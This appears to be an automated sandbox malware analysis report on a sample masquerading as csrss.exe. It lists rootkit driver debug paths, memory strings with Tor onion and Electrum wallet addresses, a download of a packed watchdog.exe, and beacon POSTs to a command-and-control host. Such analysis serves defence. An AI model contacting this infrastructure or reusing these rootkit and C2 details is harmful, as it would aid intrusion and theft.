Source:	Binary string: The module signature does not match with .pdb signature. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363797904.0000000005408000.00000004.00000001.sdmp
Source:	Binary string: symsrv.pdbGCTL source: csrss.exe, 00000000.00000003.319590616.0000000005603000.00000004.00000001.sdmp, csrss.exe, 00000000.00000002.335427805.0000000004D54000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330797599.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000002.00000002.355923816.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000002.00000002.361147879.0000000004D54000.00000040.00000001.sdmp, csrss.exe, 00000002.00000003.338789732.0000000005603000.00000004.00000001.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363797904.0000000005408000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdb source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000000.00000003.319177342.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338272938.000000000518A000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000003.363550452.000000000518A000.00000004.00000001.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: csrss.exe, 00000000.00000002.334778266.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000000.00000002.330524283.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000000.00000003.319414123.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000003.338566890.0000000005408000.00000004.00000001.sdmp, csrss.exe, 00000002.00000002.360835119.0000000004B59000.00000040.00000001.sdmp, csrss.exe, 00000002.00000002.355670843.0000000000A59000.00000040.00020000.sdmp

Networking:

Found Tor onion address

Show sources

Source: csrss.exe, 00000000.00000002.329129889.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000000.00000003.318736292.0000000004DB0000.00000004.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000000.00000002.333885879.0000000004500000.00000040.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000002.00000002.357231429.0000000004500000.00000040.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000002.00000003.336729925.0000000004DB0000.00000004.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000002.00000002.354740433.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 29 Nov 2021 05:00:49 GMTContent-Type: application/octet-streamContent-Length: 2102272Connection: keep-alivecontent-disposition: attachment; filename=watchdog.exeetag: "616ea494-201400"last-modified: Tue, 19 Oct 2021 10:57:24 GMTCache-Control: max-age=3600CF-Cache-Status: HITAge: 47Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BSzNILWUDM5MRBw4Axu0c5pmTtg4zvyd0Q4XjCeD0bIk9ACZYxkU6V0FeSqmp7XaANyZw9H4epZoBAi4KP7syqTHaG7Yupsuy5p2Yu5EfDMrGgYWS580ldSsn3c7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 6b59464bcf3d05c4-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 33 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M @3.

Source: global traffic	HTTP traffic detected: POST /api/poll HTTP/1.1Host: server1.trumops.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Length: 640Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: POST /api/poll HTTP/1.1Host: server1.trumops.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Length: 660Accept-Encoding: gzip

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Nov 2021 05:00:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11CF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B7anlfhZJ5R9hu6L90yfCtmBgrgTE%2BHbVwwOcotAdbGLLVKKKuJseHAFSsGEpz9PTTkiiCxPVSXteGPlbmPuR45fU6yBX41jUrjxALvR0n86jchkfzwAV1qFGAwG3CcnA6Hs%2BamB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6b594513ba4074e1-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 29 Nov 2021 05:00:36 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-powered-by: PHP/8.0.11set-cookie: PHPSESSID=4o5ga7ihhcjjbknov43oerukp4; path=/; HttpOnlyexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidatepragma: no-cacheaccess-control-allow-credentials: falseCF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HnfTdmiJIL6QwodnGy1qAIGD3ad%2BkpUxZnql3BsNN1E22cF%2BvPb12uDSP2G4CkdJAZgVa1YTXi18iHkeMzyp%2FrZydwQnKhY4H89MDKwtekmpsUX4QvlMCM61rsbSSARtfFeL75l8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6b594547d8f44a7f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

